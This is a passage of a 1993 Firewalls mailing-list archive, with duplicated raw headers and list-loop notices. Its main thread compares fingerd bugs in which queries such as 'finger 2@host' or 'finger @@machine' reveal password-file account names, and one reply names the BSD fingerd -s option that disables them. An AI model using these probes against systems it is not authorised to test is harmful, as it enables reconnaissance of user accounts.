about user accounts. From Firewalls-Owner Wed Sep 15 19:10:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14991; Wed, 15 Sep 93 19:10:49 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14982; Wed, 15 Sep 93 12:10:39 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25723; Wed, 15 Sep 93 14:14:07 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15667; Wed, 15 Sep 93 14:13:27 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA15192; Wed, 15 Sep 93 14:13:24 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04135; Wed, 15 Sep 93 21:16:47+010 Received: from gatekeeper.swissbank.com by il.us.swissbank.com (4.1/SMI-4.1) id AA15189; Wed, 15 Sep 93 14:13:16 CDT Received: by gatekeeper.swissbank.com with UUCP (4.1/BK-1.5) id AA15664; Wed, 15 Sep 93 14:13:16 CDT Received: from relay1.UU.NET by swissbank.swissbank.com (4.1/BK-1.5) id AA25709; Wed, 15 Sep 93 14:13:26 CDT Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21387; Wed, 15 Sep 93 15:12:27 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14961; Wed, 15 Sep 93 19:09:24 GMT Date: Wed, 15 Sep 93 19:09:24 GMT Message-Id: <9309151909.AA14961@mycroft.GreatCircle.COM> To: firewalls@swissbank.com From: Majordomo@GreatCircle.COM Subject: Welcome to bounces Reply-To: Majordomo@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk -- Welcome to the bounces mailing list! If you ever want to remove yourself from this mailing list, send the following command in email to "Majordomo@GreatCircle.COM": unsubscribe bounces firewalls@swissbank.com (930915 firewalls) Here's the general information for the list you've subscribed to, in case you don't already have it: This is a mailing list for addresses that bounce mail from GreatCircle.COM mailing lists. If an address on one of the GreatCircle.COM mailing lists (such as Firewalls or List-Managers) starts bouncing, the address is moved to this list. This list gets a message once a day saying that the address was moved because it was bouncing, and that if the problem has been fixed, the recipient can issue appropriate commands to Majordomo@GreatCircle.COM to unsubscribe from Bounces and resubscribe to the original list. To move the address "user@foo.bar.com" from Bounces to (for instance) Firewalls, you would send a message like this to Majordomo@GreatCircle.COM: unsubscribe bounces user@foo.bar.com subscribe firewalls user@foo.bar.com After resubscribing to the main list, you can obtain the archives by anonymous FTP from FTP.GreatCircle.COM to catch up on whatever you may have missed during your mail problems. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Wed Sep 15 19:13:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15028; Wed, 15 Sep 93 19:13:28 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15018; Wed, 15 Sep 93 12:13:06 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25877; Wed, 15 Sep 93 14:16:33 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15730; Wed, 15 Sep 93 14:15:52 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA15217; Wed, 15 Sep 93 14:15:48 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04138; Wed, 15 Sep 93 21:19:12+010 Received: from gatekeeper.swissbank.com by il.us.swissbank.com (4.1/SMI-4.1) id AA15214; Wed, 15 Sep 93 14:15:45 CDT Received: by gatekeeper.swissbank.com with UUCP (4.1/BK-1.5) id AA15711; Wed, 15 Sep 93 14:15:45 CDT Received: from relay1.UU.NET by swissbank.swissbank.com (4.1/BK-1.5) id AA25745; Wed, 15 Sep 93 14:15:06 CDT Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA19374; Wed, 15 Sep 93 15:08:30 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14735; Wed, 15 Sep 93 18:49:19 GMT Received: from pima.dtcc.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14725; Wed, 15 Sep 93 11:49:10 PDT Received: by pima.dtcc.edu (5.4.2/5.40/1.0) id AA19838; Wed, 15 Sep 1993 14:51:16 -0400 Date: Wed, 15 Sep 1993 14:51:16 -0400 From: weave@pima.dtcc.edu (Ken Weaverling) Message-Id: <9309151851.AA19838@pima.dtcc.edu> In-Reply-To: morgan@engr.uky.edu (Wes Morgan) "fingerd..." (Sep 15, 14:06) X-Mailer: Mail User's Shell (7.2.4 2/2/92) To: morgan@engr.uky.edu (Wes Morgan), firewalls@GreatCircle.COM Subject: Re: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hmmmm, finger 2@host does same behaviour on Data General's DG/UX which is Sys V.4.... Wild! -- Ken Weaverling, Computer Services, Delaware Tech College weave@dtcc.edu From Firewalls-Owner Wed Sep 15 12:37:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15243; Wed, 15 Sep 93 19:29:01 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15233; Wed, 15 Sep 93 12:28:54 PDT Message-Id: <9309151928.AA15233@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: Looped mail to Firewalls Date: Wed, 15 Sep 93 12:28:53 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The site that caused the posting loop to Firewalls this morning has been terminated with extreme prejudice (I don't _like_ people who do things that start bounce messages accumulating in my mailbox at the rate of several per minute for several hours)... Sorry for the duplications. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Wed Sep 15 19:56:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15779; Wed, 15 Sep 93 19:56:34 GMT Received: from water.cs.utk.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15771; Wed, 15 Sep 93 12:56:25 PDT Received: from LOCALHOST by water.cs.utk.edu with SMTP (5.61+IDA+UTK-930125/2.7c-UTK) id AA12704; Wed, 15 Sep 93 15:58:14 -0400 Message-Id: <9309151958.AA12704@water.cs.utk.edu> To: firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Your message of "Wed, 15 Sep 1993 14:06:08 EDT." <9309151806.AA23702@s.ecc.engr.uky.edu> Date: Wed, 15 Sep 1993 15:58:11 -0400 From: Howard the Energizer Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk morgan@engr.uky.edu (Wes Morgan) writes: >> >>James Chacon wrote: >> >>> 1. At under Sunos 4.1.x and probably before fingering something like this >>> would show you a varing amount of people from the password file: >>> >>> finger 2@ >> >>Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? > >Hmmm...this is rather strange: > > 1) SunOS 4.1.1 - "finger " returns the same set > of 21 usernames each time. I can't find any common threads > in the /etc/passwd entries. I'm not running NIS (or NIS+), > so it must not be an NIS bug... > Same sort of behaviour (except that it is the same 28 usernames) under SunOS 4.0.1 with NIS... Howard Bampton Internet: bampton@cs.utk.edu Labstaff, UT Knoxville, Tennessee Even the walls of Jericho fell..... From Firewalls-Owner Wed Sep 15 13:07:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15575; Wed, 15 Sep 93 19:51:54 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15564; Wed, 15 Sep 93 12:51:48 PDT Message-Id: <9309151951.AA15564@mycroft.GreatCircle.COM> To: Firewalls@GreatCircle.COM Subject: No, you _aren't_ all on the bounces list... Date: Wed, 15 Sep 93 12:51:47 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk When an address starts bouncing, I move it to a separate mailing list called "bounces". I did that with the address that was looping this morning without thinking it through. That, of course, caused the "Welcome to bounces" message to get looped back to all of Firewalls@GreatCircle.COM... I've nuked the offending address altogether. I apologize for the confusion all this has caused. Nuts. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Wed Sep 15 13:25:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14671; Wed, 15 Sep 93 18:42:08 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14657; Wed, 15 Sep 93 11:41:48 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25280; Wed, 15 Sep 93 13:45:15 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15216; Wed, 15 Sep 93 13:44:33 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14633; Wed, 15 Sep 93 13:44:29 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04087; Wed, 15 Sep 93 20:47:50+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14623; Wed, 15 Sep 93 13:44:19 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19276 for firewalls; Wed, 15 Sep 93 14:29:47 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26269; Wed, 15 Sep 93 14:24:06 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14126; Wed, 15 Sep 93 18:00:53 GMT Received: from d.ecc.engr.uky.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14115; Wed, 15 Sep 93 11:00:44 PDT Received: from s.ecc.engr.uky.edu by d.ecc.engr.uky.edu (5.59/25-eef) id AA17120; Wed, 15 Sep 93 13:31:08 EDT Received: by s.ecc.engr.uky.edu (4.1/SMI-4.1) id AA23702; Wed, 15 Sep 93 14:06:08 EDT Date: Wed, 15 Sep 93 14:06:08 EDT From: morgan@engr.uky.edu (Wes Morgan) Message-Id: <9309151806.AA23702@s.ecc.engr.uky.edu> To: firewalls@GreatCircle.COM Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From: ericm@angst.MicroUnity.com (Eric Murray) > >James Chacon wrote: > >> 1. At under Sunos 4.1.x and probably before fingering something like this >> would show you a varing amount of people from the password file: >> >> finger 2@ > >Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? Hmmm...this is rather strange: 1) SunOS 4.1.1 - "finger " returns the same set of 21 usernames each time. I can't find any common threads in the /etc/passwd entries. I'm not running NIS (or NIS+), so it must not be an NIS bug... 2) AT&T System V Release 3.2.3 -- same behavior; the same set of 109 usernames shows up every time. So much for classify- ing this as a Berkeley-only bug... 3) HP-UX 9.00 -- same behavior. 4) AT&T System V Release 4.0 3.0 -- proper behavior, namely: "2: User is not currently logged in to this machine." Identical response to any invalid userid. ("blech," "foo," etc.) 5) UNIX System V/386 Release 3.2 -- proper behavior, namely: "Login name: 2 In real life: ???" 6) SunOS 5.2 (Solaris 2.2), no NIS+ -- proper behavior, namely: Login Name TTY Idle When Where 2 ??? It looks like a bug from the *early* days of finger. If SunOS 4.1.x, HP-UX 9.00, and SVR3.2.3 all share the bug, it may date back to (gasp) System III...any vendors listening? --Wes From Firewalls-Owner Wed Sep 15 13:37:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14655; Wed, 15 Sep 93 18:41:26 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14648; Wed, 15 Sep 93 11:41:16 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25264; Wed, 15 Sep 93 13:44:39 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15196; Wed, 15 Sep 93 13:44:06 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14602; Wed, 15 Sep 93 13:44:02 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04081; Wed, 15 Sep 93 20:47:26+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14597; Wed, 15 Sep 93 13:43:49 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA13325 for firewalls; Wed, 15 Sep 93 13:57:57 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA10454; Wed, 15 Sep 93 13:53:20 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13736; Wed, 15 Sep 93 16:44:28 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13724; Wed, 15 Sep 93 09:44:04 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA23275; Wed, 15 Sep 93 11:47:30 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA13493; Wed, 15 Sep 93 11:46:56 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA12534; Wed, 15 Sep 93 11:46:52 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA03960; Wed, 15 Sep 93 18:50:16+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA12526; Wed, 15 Sep 93 11:46:44 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA16075 for firewalls; Wed, 15 Sep 93 11:17:31 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21695; Wed, 15 Sep 93 11:14:10 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13293; Wed, 15 Sep 93 14:56:35 GMT Received: from socrates.ucsf.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13286; Wed, 15 Sep 93 07:56:29 PDT Received: from localhost by socrates.ucsf.EDU (5.65/GSC4.23) id AA21544; Wed, 15 Sep 93 07:59:15 -0700 Message-Id: <9309151459.AA21544@socrates.ucsf.EDU> To: Firewalls@GreatCircle.COM Subject: Re: fingerd... Date: Wed, 15 Sep 93 07:59:15 PDT From: Tom Ferrin Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Another problem is ultrix fingerd, you can do 'finger @@machine' to list all > users in the passwd file. > The version of fingerd that was distributed with 4.4BSD and with the "networking 2" release of 4.3BSD has a -s (secure) option that disables both @@-style indirection as well as queries without a user name. It also has a -l (logging) option to syslog all finger requests, including their origin. Lastly, there is a -p option that let's a system manager replace the standard fingerd server with his/her own lookup program so that, for example, finger looks up a phone numbers or e-mail address in a corporate phone boox, rather than providing information about user accounts. From Firewalls-Owner Wed Sep 15 21:00:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16407; Wed, 15 Sep 93 21:00:44 GMT Received: from ns1.arlut.utexas.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16400; Wed, 15 Sep 93 14:00:34 PDT Received: by ns1.arlut.utexas.edu id AA06436 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Wed, 15 Sep 1993 16:03:45 -0500 From: Pug Message-Id: <199309152103.AA06436@ns1.arlut.utexas.edu> Subject: Re: fingerd... To: jmc@telecom.ksu.edu (James Chacon) Date: Wed, 15 Sep 1993 16:03:45 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <199309150603.BAA08973@pawnee.telecom.ksu.edu> from "James Chacon" at Sep 15, 93 01:03:07 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1523 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > The known hole was in using gets to grab input. There are a couple other bugs > I know of you may want to be aware of: > 1. At under Sunos 4.1.x and probably before fingering something like this > would show you a varing amount of people from the password file: > > finger 2@ Well I'm a little confused at this. We have finger turned off from the outside, so the finger @host isn't a problem. What I do see happening is that when logged on a 4.1.3 host, I can do a finger 2 (or 4 or 8 or whatever) and I get the second user through the 9th user in my /etc/passwd file. I am using NIS and only have system dependent accounts in the passwd file. (ie. root, daemon, uucp, etc) This is the same on a server running 350+ users as well as on a server running 20. After some investigation, it was quite easy to figure out what was causing this, although still strange. When given a number (as opposed to a letter) it matches all accounts with an empty GECOS field. Why I can't tell since I don't have the source to Sun's finger program in front of me. Please note: It seems to be working correctly on Solaris 2.2 with the nsswitch.conf set to passwd: files nis, along with the mandatory+ patches. Ciao, -- Richard Bainter Mundanely | System Analyst - OMG/CSD Pug Generally | Applied Research Labs - U.Texas pug@arlut.utexas.edu | pug@wixer.cactus.org Note: The views may not reflect my employers, or even my own for that matter. From Firewalls-Owner Wed Sep 15 21:05:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16429; Wed, 15 Sep 93 21:05:15 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA16420; Wed, 15 Sep 93 14:05:00 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA27539; Wed, 15 Sep 93 16:08:26 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA17416; Wed, 15 Sep 93 16:07:24 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA15929; Wed, 15 Sep 93 16:07:16 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04223; Wed, 15 Sep 93 23:10:39+010 Received: from gatekeeper.swissbank.com by il.us.swissbank.com (4.1/SMI-4.1) id AA15925; Wed, 15 Sep 93 16:07:12 CDT Received: by gatekeeper.swissbank.com with UUCP (4.1/BK-1.5) id AA17413; Wed, 15 Sep 93 16:07:13 CDT Received: from relay1.UU.NET by swissbank.swissbank.com (4.1/BK-1.5) id AA27524; Wed, 15 Sep 93 16:07:25 CDT Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA14939; Wed, 15 Sep 93 17:03:40 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14671; Wed, 15 Sep 93 18:42:08 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14657; Wed, 15 Sep 93 11:41:48 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25280; Wed, 15 Sep 93 13:45:15 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15216; Wed, 15 Sep 93 13:44:33 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14633; Wed, 15 Sep 93 13:44:29 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04087; Wed, 15 Sep 93 20:47:50+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14623; Wed, 15 Sep 93 13:44:19 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19276 for firewalls; Wed, 15 Sep 93 14:29:47 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26269; Wed, 15 Sep 93 14:24:06 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14126; Wed, 15 Sep 93 18:00:53 GMT Received: from d.ecc.engr.uky.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14115; Wed, 15 Sep 93 11:00:44 PDT Received: from s.ecc.engr.uky.edu by d.ecc.engr.uky.edu (5.59/25-eef) id AA17120; Wed, 15 Sep 93 13:31:08 EDT Received: by s.ecc.engr.uky.edu (4.1/SMI-4.1) id AA23702; Wed, 15 Sep 93 14:06:08 EDT Date: Wed, 15 Sep 93 14:06:08 EDT From: morgan@engr.uky.edu (Wes Morgan) Message-Id: <9309151806.AA23702@s.ecc.engr.uky.edu> To: firewalls@GreatCircle.COM Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From: ericm@angst.MicroUnity.com (Eric Murray) > >James Chacon wrote: > >> 1. At under Sunos 4.1.x and probably before fingering something like this >> would show you a varing amount of people from the password file: >> >> finger 2@ > >Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? Hmmm...this is rather strange: 1) SunOS 4.1.1 - "finger " returns the same set of 21 usernames each time. I can't find any common threads in the /etc/passwd entries. I'm not running NIS (or NIS+), so it must not be an NIS bug... 2) AT&T System V Release 3.2.3 -- same behavior; the same set of 109 usernames shows up every time. So much for classify- ing this as a Berkeley-only bug... 3) HP-UX 9.00 -- same behavior. 4) AT&T System V Release 4.0 3.0 -- proper behavior, namely: "2: User is not currently logged in to this machine." Identical response to any invalid userid. ("blech," "foo," etc.) 5) UNIX System V/386 Release 3.2 -- proper behavior, namely: "Login name: 2 In real life: ???" 6) SunOS 5.2 (Solaris 2.2), no NIS+ -- proper behavior, namely: Login Name TTY Idle When Where 2 ??? It looks like a bug from the *early* days of finger. If SunOS 4.1.x, HP-UX 9.00, and SVR3.2.3 all share the bug, it may date back to (gasp) System III...any vendors listening? --Wes From Firewalls-Owner Wed Sep 15 14:07:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15350; Wed, 15 Sep 93 19:36:05 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15343; Wed, 15 Sep 93 12:35:53 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA26181; Wed, 15 Sep 93 14:39:21 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA16056; Wed, 15 Sep 93 14:38:42 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA15418; Wed, 15 Sep 93 14:38:34 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04161; Wed, 15 Sep 93 21:41:56+010 Received: from gatekeeper.swissbank.com by il.us.swissbank.com (4.1/SMI-4.1) id AA15415; Wed, 15 Sep 93 14:38:29 CDT Received: by gatekeeper.swissbank.com with UUCP (4.1/BK-1.5) id AA16049; Wed, 15 Sep 93 14:38:14 CDT Received: from relay1.UU.NET by swissbank.swissbank.com (4.1/BK-1.5) id AA26150; Wed, 15 Sep 93 14:37:55 CDT Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA01713; Wed, 15 Sep 93 15:32:31 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14682; Wed, 15 Sep 93 18:42:14 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14658; Wed, 15 Sep 93 11:41:48 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25284; Wed, 15 Sep 93 13:45:16 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15217; Wed, 15 Sep 93 13:44:35 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14636; Wed, 15 Sep 93 13:44:30 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04088; Wed, 15 Sep 93 20:47:53+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14627; Wed, 15 Sep 93 13:44:25 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19977 for firewalls; Wed, 15 Sep 93 14:33:31 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA28095; Wed, 15 Sep 93 14:27:10 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14166; Wed, 15 Sep 93 18:02:45 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14151; Wed, 15 Sep 93 11:02:37 PDT Received: by azalea.tis.com; id AA25166; Wed, 15 Sep 93 14:04:04 EDT Received: from tis.com/192.33.112.100 via smap Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA25878; Wed, 15 Sep 93 14:04:48 EDT Message-Id: <9309151804.AA25878@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: Firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Tom Ferrin's message of Wed, 15 Sep 93 07:59:15 -0700. <9309151459.AA21544@socrates.ucsf.EDU> Date: Wed, 15 Sep 93 14:04:47 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "I know engineers. They *love* to change things!" Dr. McCoy, Star Trek: The Motion Picture. > The version of fingerd that was distributed with 4.4BSD and with > the "networking 2" release of 4.3BSD has a -s (secure) option that > disables both @@-style indirection as well as queries without a > user name. It also has a -l (logging) option to syslog all finger > requests, including their origin. Lastly, there is a -p option > that let's a system manager replace the standard fingerd server > with his/her own lookup program so that, for example, finger looks > up a phone numbers or e-mail address in a corporate phone boox, > rather than providing information about user accounts. From Firewalls-Owner Wed Sep 15 14:09:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14684; Wed, 15 Sep 93 18:42:19 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14656; Wed, 15 Sep 93 11:41:48 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA25270; Wed, 15 Sep 93 13:44:58 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA15204; Wed, 15 Sep 93 13:44:19 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA14613; Wed, 15 Sep 93 13:44:15 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04084; Wed, 15 Sep 93 20:47:38+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA14601; Wed, 15 Sep 93 13:43:56 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA14814 for firewalls; Wed, 15 Sep 93 14:05:12 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA14111; Wed, 15 Sep 93 14:00:34 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13903; Wed, 15 Sep 93 17:38:28 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13894; Wed, 15 Sep 93 10:37:59 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA24061; Wed, 15 Sep 93 12:41:21 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA14219; Wed, 15 Sep 93 12:40:42 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA13657; Wed, 15 Sep 93 12:40:38 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04009; Wed, 15 Sep 93 19:44:01+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA13648; Wed, 15 Sep 93 12:40:34 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA02227 for firewalls; Wed, 15 Sep 93 12:53:13 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA05589; Wed, 15 Sep 93 12:43:03 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13657; Wed, 15 Sep 93 16:17:51 GMT Received: from muse.microunity.com (muse1.microunity.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13650; Wed, 15 Sep 93 09:17:29 PDT Received: from gaea.microunity.com by muse.microunity.com (4.1/ericm1.1) id AA21230; Wed, 15 Sep 93 09:19:14 PDT Received: from 